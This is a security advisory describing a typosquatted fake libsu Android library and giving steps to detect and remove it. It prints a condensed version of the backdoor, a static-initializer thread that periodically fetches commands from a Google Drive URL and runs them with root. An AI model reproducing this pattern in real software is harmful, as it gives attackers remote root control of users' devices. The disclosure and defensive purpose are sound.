Critical Security Alert: Malicious Libsu Library Discovered by Our Team

Overview of the Threat

The Androidacy team has discovered a security threat affecting Android applications that use root access. A malicious libsu library has been found impersonating the legitimate libsu library, which is widely used to provide root access functionality in Android applications. This fake repository contains code that can compromise devices through remote code execution.

Technical Details of the Attack

The malicious libsu library repository is hosted at github.com/topjonwu/libsu (archive: https://archive.ph/ctj6R/). The repository mimics the legitimate version by using a similar username with a subtle typo: “topjonwu” instead of the correct “topjohnwu.” This small difference can be easily overlooked during dependency management. The legitimate library is located at github.com/topjohnwu/libsu

The malicious code was introduced in commit 92e1d1319f8662ceed7bb4c19eef7513bd1a3306 (archive: https://archive.ph/2U7JT). The attack uses a method named isCacheEnabled() that appears benign but contains harmful functionality:

public static void isCacheEnabled() {
    Thread t = new Thread(() -> {
        while (true) {
            try {
                Thread.sleep(900_000);  // Wait 15 minutes
                // Download content from Google Drive
                String responseString = /* downloaded content */;
                if(!responseString.equals("0")){
                    Shell.cmd(responseString).exec();  // Execute with root
                }
            } catch (Exception e) {}
        }
    });
    t.start();
}

This method is automatically invoked through a static initializer in MainShell.java:

static {
    Utils.isCacheEnabled();
}

The code creates a background thread that waits 15 minutes before downloading content from a Google Drive URL. If the downloaded content is anything other than “0”, the malicious libsu library executes it as a shell command with root privileges. This process continues indefinitely, checking for new commands every 15 minutes. In other words, a simplistic backdoor, using the root privileges users entrusted to your app.

Immediate Actions Required

Developers should take the following steps to protect their applications:

1. Audit all Android projects for libsu dependencies. Verify that gradle files and dependency declarations reference the correct repository with the username “topjohnwu” properly spelled.
2. Search codebases for the isCacheEnabled() method and any references to unusual Google Drive URLs. These are indicators that the malicious libsu library has been integrated.
3. Review all recently released application versions. Any applications using the compromised library require immediate security updates.
4. Implement dependency verification practices including:

• Using dependency checking tools
• Maintaining approved repository whitelists
• Enhancing code review procedures for external libraries
• Scrutinizing code that creates background threads or executes shell commands

Best Practices Moving Forward

This incident involving the malicious libsu library highlights the importance of supply chain security in Android development. Developers should establish processes to verify the authenticity of all external dependencies, particularly those requesting sensitive permissions like root access.

Regular security audits and automated dependency scanning can help detect similar threats before they reach production. When integrating any library that requires elevated privileges, additional verification steps should be mandatory.

Conclusion

The discovery of this malicious libsu library by the Androidacy team demonstrates how attackers continue to target the software supply chain. Through careful impersonation and deceptive code practices, malicious actors can potentially compromise numerous applications and devices.

By maintaining vigilance in dependency management and following security best practices, the Android development community can better protect against these sophisticated attacks. Regular verification of library sources and careful code review remain essential defenses against supply chain compromises.